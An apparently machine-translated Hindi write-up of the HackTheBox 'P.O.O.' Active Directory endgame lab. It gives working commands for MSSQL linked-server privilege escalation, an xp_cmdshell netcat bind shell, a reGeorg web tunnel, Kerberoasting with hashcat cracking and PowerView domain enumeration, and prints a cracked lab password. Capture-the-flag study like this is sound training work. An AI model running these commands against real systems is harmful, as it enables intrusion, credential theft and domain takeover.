🥇हैकदबॉक्सएंडगेम। व्यावसायिक आक्रामक संचालन प्रयोगशाला का मार्ग। सक्रिय निर्देशिका पेंटेस्ट

इस लेख में, हम न केवल एक मशीन, बल्कि साइट से एक संपूर्ण मिनी-प्रयोगशाला के पारित होने का विश्लेषण करेंगे हैकदबॉक्स.

जैसा कि विवरण में कहा गया है, POO को एक छोटे सक्रिय निर्देशिका वातावरण में हमलों के सभी चरणों में कौशल का परीक्षण करने के लिए डिज़ाइन किया गया है। लक्ष्य एक सुलभ होस्ट से समझौता करना, विशेषाधिकारों को बढ़ाना और अंततः इस प्रक्रिया में 5 झंडे एकत्र करके पूरे डोमेन से समझौता करना है।

प्रयोगशाला से कनेक्शन वीपीएन के माध्यम से है। यह अनुशंसा की जाती है कि किसी कार्यशील कंप्यूटर या होस्ट से कनेक्ट न करें जहां आपके लिए महत्वपूर्ण डेटा है, क्योंकि आप ऐसे लोगों के साथ एक निजी नेटवर्क में आते हैं जो सूचना सुरक्षा के बारे में कुछ जानते हैं 🙂

संगठनात्मक जानकारी
ताकि आप मेरे द्वारा बनाए गए नए लेखों, सॉफ्टवेयर और अन्य जानकारी के बारे में जान सकें टेलीग्राम में चैनल и किसी भी मुद्दे पर चर्चा के लिए समूह IIKB के क्षेत्र में. साथ ही आपके व्यक्तिगत अनुरोध, प्रश्न, सुझाव और अनुशंसाएँ मैं देखूंगा और सभी को जवाब दूंगा।.

सभी जानकारी केवल शैक्षणिक उद्देश्यों के लिए प्रदान की गई है। इस दस्तावेज़ के अध्ययन के परिणामस्वरूप प्राप्त ज्ञान और विधियों के उपयोग के परिणामस्वरूप किसी को हुई किसी भी क्षति के लिए इस दस्तावेज़ का लेखक कोई ज़िम्मेदारी नहीं लेता है।

पहचान

इस एंडगेम में दो मशीनें हैं और इसमें 5 झंडे हैं।

उपलब्ध होस्ट का विवरण और पता भी दिया गया है।

चलो शुरू हो जाओ!

पुनः ध्वज

इस मशीन का आईपी पता 10.13.38.11 है जिसे मैं /etc/hosts में जोड़ता हूं।
10.13.38.11 poo.htb

सबसे पहले, हम खुले बंदरगाहों को स्कैन करते हैं। चूंकि एनएमएपी के साथ सभी पोर्ट को स्कैन करने में काफी समय लगता है, इसलिए मैं इसे पहले मैस्कैन के साथ करूंगा। हम tun0 इंटरफ़ेस से सभी TCP और UDP पोर्ट को 500 पैकेट प्रति सेकंड की गति से स्कैन करते हैं।

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

अब, बंदरगाहों पर चलने वाली सेवाओं के बारे में अधिक विस्तृत जानकारी प्राप्त करने के लिए, -ए विकल्प के साथ एक स्कैन चलाएं।

nmap -A poo.htb -p80,1433

इस प्रकार, हमारे पास IIS और MSSQL सेवाएँ हैं। इस स्थिति में, हम डोमेन और कंप्यूटर का वास्तविक DNS नाम पता लगाएंगे। वेब सर्वर पर, हमें IIS होम पेज द्वारा स्वागत किया जाता है।

आइए निर्देशिकाओं के माध्यम से चलते हैं। मैं इसके लिए गोबस्टर का उपयोग करता हूं। पैरामीटर्स में हम स्ट्रीम की संख्या 128 (-t), URL (-u), डिक्शनरी (-w) और हमारी रुचि वाले एक्सटेंशन (-x) निर्दिष्ट करते हैं।

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

इस प्रकार, हमारे पास /admin निर्देशिका के लिए HTTP प्रमाणीकरण है, साथ ही .DS_Store डेस्कटॉप सेवा संग्रहण फ़ाइल भी उपलब्ध है। .DS_Store वे फ़ाइलें हैं जो किसी फ़ोल्डर के लिए उपयोगकर्ता सेटिंग्स संग्रहीत करती हैं, जैसे फ़ाइलों की सूची, आइकन स्थान, चयनित पृष्ठभूमि छवि। ऐसी फ़ाइल वेब डेवलपर्स की वेब सर्वर निर्देशिका में समाप्त हो सकती है। इस प्रकार हम निर्देशिका की सामग्री के बारे में जानकारी प्राप्त करते हैं। इसके लिए आप उपयोग कर सकते हैं डीएस_स्टोर क्रॉलर.

python3 dsstore_crawler.py -i http://poo.htb/

हमें निर्देशिका की सामग्री मिलती है। यहां सबसे दिलचस्प बात /dev निर्देशिका है, जहां से हम दो शाखाओं में स्रोतों और डीबी फ़ाइलों को देख सकते हैं। लेकिन यदि सेवा IIS शॉर्टनेम के प्रति संवेदनशील है तो हम फ़ाइल और निर्देशिका नामों के पहले 6 अक्षरों का उपयोग कर सकते हैं। आप इसका उपयोग करके इस भेद्यता की जांच कर सकते हैं IIS संक्षिप्त नाम स्कैनर.

और हमें एक टेक्स्ट फ़ाइल मिली जो "poo_co" से शुरू होती है। मुझे नहीं पता कि आगे क्या करना है, मैंने निर्देशिकाओं के शब्दकोष से "सह" से शुरू होने वाले सभी शब्दों का चयन कर लिया।

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

और wfuzz के साथ पुनरावृत्त करें।

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

और सही शब्द ढूंढें! हम इस फ़ाइल को देखते हैं, क्रेडेंशियल्स सहेजते हैं (DBNAME पैरामीटर को देखते हुए, वे MSSQL से हैं)।

हम झंडा सरेंडर करते हैं और हम 20% आगे बढ़ते हैं।

हुंह झंडा

हम एमएसएसक्यूएल से जुड़ते हैं, मैं डीबीवर का उपयोग करता हूं।

हमें इस डेटाबेस में कुछ भी दिलचस्प नहीं मिला, आइए एक SQL संपादक बनाएं और जांचें कि कौन से उपयोगकर्ता हैं।

SELECT name FROM master..syslogins;

हमारे पास दो उपयोगकर्ता हैं. आइए हमारे विशेषाधिकारों की जाँच करें।

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

इस प्रकार, कोई विशेषाधिकार नहीं हैं। आइए लिंक किए गए सर्वरों को देखें, मैंने इस तकनीक के बारे में विस्तार से लिखा है यहां.

SELECT * FROM master..sysservers;

तो हम एक और SQL सर्वर ढूंढते हैं। आइए openquery() का उपयोग करके इस सर्वर पर कमांड के निष्पादन की जांच करें।

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

और हम एक क्वेरी ट्री भी बना सकते हैं।

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

मुद्दा यह है कि जब हम किसी लिंक किए गए सर्वर से अनुरोध करते हैं, तो अनुरोध दूसरे उपयोगकर्ता के संदर्भ में निष्पादित किया जाता है! आइए देखें कि हम किस उपयोगकर्ता के संदर्भ में लिंक किए गए सर्वर पर काम कर रहे हैं।

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

और अब देखते हैं कि हमारे लिंक किए गए सर्वर से अनुरोध किस संदर्भ में निष्पादित किया जाता है!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

इस प्रकार, यह एक डीबीओ संदर्भ है जिसमें सभी विशेषाधिकार होने चाहिए। आइए किसी लिंक किए गए सर्वर से अनुरोध के मामले में विशेषाधिकारों की जाँच करें।

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

जैसा कि आप देख सकते हैं, हमारे पास सभी विशेषाधिकार हैं! आइए अपना एडमिन इस तरह बनाएं. लेकिन वे उन्हें ओपनक्वेरी के माध्यम से नहीं जाने देते, चलिए इसे EXECUTE AT के माध्यम से करते हैं।

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

और अब हम नए उपयोगकर्ता की साख से जुड़ते हैं, नए ध्वज डेटाबेस का निरीक्षण करते हैं।

हम ये झंडा सौंपते हैं और आगे बढ़ते हैं.

बैकट्रैक ध्वज

आइए MSSQL का उपयोग करके शेल प्राप्त करें, मैं इम्पैकेट पैकेज से mssqlclient का उपयोग कर रहा हूं।

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

हमें पासवर्ड प्राप्त करने की आवश्यकता है, और पहली चीज़ जो हमें पहले ही मिल चुकी है वह है साइट। इस प्रकार, हमें एक वेब सर्वर कॉन्फ़िगरेशन की आवश्यकता है (एक सुविधाजनक शेल फेंकना असंभव है, जाहिर तौर पर फ़ायरवॉल काम कर रहा है)।

लेकिन प्रवेश वर्जित है. हालाँकि हम MSSQL से फ़ाइल पढ़ सकते हैं, हमें बस यह जानना होगा कि कौन सी प्रोग्रामिंग भाषाएँ कॉन्फ़िगर की गई हैं। और MSSQL निर्देशिका में हमें पता चलता है कि Python है।

फिर web.config फ़ाइल को पढ़ने में कोई समस्या नहीं है।

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

पाए गए क्रेडेंशियल के साथ, /एडमिन पर जाएं और फ़्लैग लें।

तलहटी झंडा

वास्तव में, फ़ायरवॉल का उपयोग करने से कुछ असुविधाएँ होती हैं, लेकिन नेटवर्क सेटिंग्स को देखने पर, हम देखते हैं कि IPv6 प्रोटोकॉल का भी उपयोग किया जाता है!

इस पते को /etc/hosts में जोड़ें.
dead:babe::1001 poo6.htb
आइए होस्ट को फिर से स्कैन करें, लेकिन इस बार IPv6 पर।

और WinRM सेवा IPv6 पर उपलब्ध है। आइए पाए गए क्रेडेंशियल्स से जुड़ें।

डेस्कटॉप पर एक झंडा है, उसे सौंप दो।

P00ned झंडा

का उपयोग कर मेजबान पर टोह लेने के बाद winpeas हमें कुछ खास नहीं मिला. फिर क्रेडेंशियल्स को फिर से देखने का निर्णय लिया गया (मैंने इस विषय पर भी लिखा था लेख). लेकिन मैं WinRM के माध्यम से सिस्टम से सभी SPN प्राप्त नहीं कर सका।

setspn.exe -T intranet.poo -Q */*

आइए MSSQL के माध्यम से कमांड निष्पादित करें।

इस तरह, हमें उपयोगकर्ताओं का SPN p00_hr और p00_adm मिलता है, जिसका अर्थ है कि वे Kerberoasting जैसे हमले के प्रति संवेदनशील हैं। संक्षेप में, हम उनके पासवर्ड के हैश प्राप्त कर सकते हैं।

सबसे पहले आपको MSSQL उपयोगकर्ता के रूप में एक स्थिर शेल प्राप्त करना होगा। लेकिन चूंकि हमारी पहुंच सीमित है, इसलिए हमारा होस्ट के साथ कनेक्शन केवल पोर्ट 80 और 1433 के माध्यम से है। लेकिन पोर्ट 80 के माध्यम से यातायात को सुरंग बनाना संभव है! इसके लिए हम प्रयोग करेंगे निम्नलिखित आवेदन. आइए टनल.एएसपीएक्स फ़ाइल को वेब सर्वर की होम डायरेक्टरी - C: inetpubwwwroot पर अपलोड करें।

लेकिन जब हम इसे एक्सेस करने का प्रयास करते हैं, तो हमें 404 त्रुटि मिलती है। इसका मतलब है कि *.aspx फ़ाइलें निष्पादित नहीं होती हैं। इन एक्सटेंशन वाली फ़ाइलों को चलाने के लिए, निम्नानुसार ASP.NET 4.5 स्थापित करें।

dism /online /enable-feature /all /featurename:IIS-ASPNET45

और अब, टनल.एएसपीएक्स तक पहुंचने पर, हमें जवाब मिलता है कि सब कुछ जाने के लिए तैयार है।

आइए एप्लिकेशन का क्लाइंट भाग प्रारंभ करें, जो ट्रैफ़िक रिले करेगा। हम पोर्ट 5432 से सारा ट्रैफ़िक सर्वर पर अग्रेषित करेंगे।

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

और हम किसी भी एप्लिकेशन के ट्रैफिक को अपने प्रॉक्सी के माध्यम से भेजने के लिए प्रॉक्सीचेन का उपयोग करते हैं। आइए इस प्रॉक्सी को /etc/proxychins.conf कॉन्फ़िगरेशन फ़ाइल में जोड़ें।

अब प्रोग्राम को सर्वर पर अपलोड करते हैं netcat, जिसके साथ हम एक स्थिर बाइंड शेल और स्क्रिप्ट बनाएंगे कर्बेरोस्ट का आह्वान करें, जिसके साथ हम एक कर्बरोस्टिंग हमला करेंगे।

अब हम MSSQL के माध्यम से श्रोता को लॉन्च करते हैं।

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

और हम अपने प्रॉक्सी के माध्यम से जुड़ते हैं।

proxychains rlwrap nc poo.htb 4321

और आइए हैश प्राप्त करें।

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

इसके बाद, आपको इन हैश पर पुनरावृति करने की आवश्यकता है। चूंकि रॉकयू के पास पासवर्ड डेटा डिक्शनरी नहीं थी, इसलिए मैंने सेकलिस्ट्स में दिए गए सभी पासवर्ड डिक्शनरी का इस्तेमाल किया। गणना के लिए हम हैशकैट का उपयोग करते हैं।

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

और हमें दोनों पासवर्ड मिलते हैं, पहला शब्दकोश डच_पासवर्डलिस्ट.txt में, और दूसरा कीबोर्ड-कॉम्बिनेशन.txt में।

और इसलिए हमारे पास तीन उपयोगकर्ता हैं, हम डोमेन नियंत्रक के पास जाते हैं। आइए पहले उसका पता पता करें।

बढ़िया, हमें डोमेन नियंत्रक का आईपी पता मिल गया। आइए डोमेन के सभी उपयोगकर्ताओं का पता लगाएं, साथ ही यह भी जानें कि उनमें से कौन व्यवस्थापक है। जानकारी प्राप्त करने के लिए स्क्रिप्ट डाउनलोड करने के लिए PowerView.ps1. फिर हम -s पैरामीटर में स्क्रिप्ट के साथ निर्देशिका को निर्दिष्ट करते हुए, ईविल-विनआरएम का उपयोग करके कनेक्ट करेंगे। और फिर हम केवल PowerView स्क्रिप्ट लोड करेंगे।

अब हमारे पास इसके सभी कार्यों तक पहुंच है। P00_adm उपयोगकर्ता एक विशेषाधिकार प्राप्त उपयोगकर्ता की तरह दिखता है, इसलिए हम इसके संदर्भ में काम करेंगे। आइए इस उपयोगकर्ता के लिए एक PSCredential ऑब्जेक्ट बनाएं।

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

अब सभी पॉवरशेल कमांड जहां हम क्रेडिट निर्दिष्ट करते हैं, p00_adm के रूप में निष्पादित किए जाएंगे। आइए उपयोगकर्ताओं की एक सूची और एडमिनकाउंट विशेषता प्रदर्शित करें।

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

और इसलिए, हमारा उपयोगकर्ता वास्तव में विशेषाधिकार प्राप्त है। आइए देखें कि वह किस समूह से संबंधित है।

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

हम अंततः पुष्टि करते हैं कि उपयोगकर्ता एक डोमेन व्यवस्थापक है। यह इसे डोमेन नियंत्रक पर दूरस्थ रूप से लॉग ऑन करने का अधिकार देता है। आइए हमारी सुरंग का उपयोग करके WinRM से लॉगिन करने का प्रयास करें। ईविल-विनआरएम का उपयोग करते समय मैं रेगॉर्ग द्वारा जारी त्रुटियों से भ्रमित था।

फिर हम दूसरे, आसान का उपयोग करते हैं, लिखी हुई कहानी WinRM से कनेक्ट करने के लिए. आइए कनेक्शन पैरामीटर खोलें और बदलें।

हम जुड़ने का प्रयास करते हैं, और हम सिस्टम में हैं।

लेकिन कोई झंडा नहीं है. फिर उपयोगकर्ता को देखें और डेस्कटॉप की जांच करें।

mr3ks पर हमें झंडा मिलता है और प्रयोगशाला 100% पूरी हो चुकी है।

बस इतना ही। फीडबैक के तौर पर इस पर टिप्पणी करें कि क्या आपने इस लेख से कुछ नया सीखा और क्या यह आपके लिए उपयोगी था।

आप हमसे यहां जुड़ सकते हैं Telegram. वहां आप दिलचस्प सामग्री, लीक हुए पाठ्यक्रम, साथ ही सॉफ्टवेयर भी पा सकते हैं। आइए एक समुदाय इकट्ठा करें जिसमें ऐसे लोग होंगे जो आईटी के कई क्षेत्रों को समझते हैं, फिर हम किसी भी आईटी और सूचना सुरक्षा मुद्दों पर हमेशा एक-दूसरे की मदद कर सकते हैं।

स्रोत: www.habr.com

HackTheBoxendgame। व्यावसायिक आक्रामक संचालन प्रयोगशाला का मार्ग। पेंटेस्ट सक्रिय निर्देशिका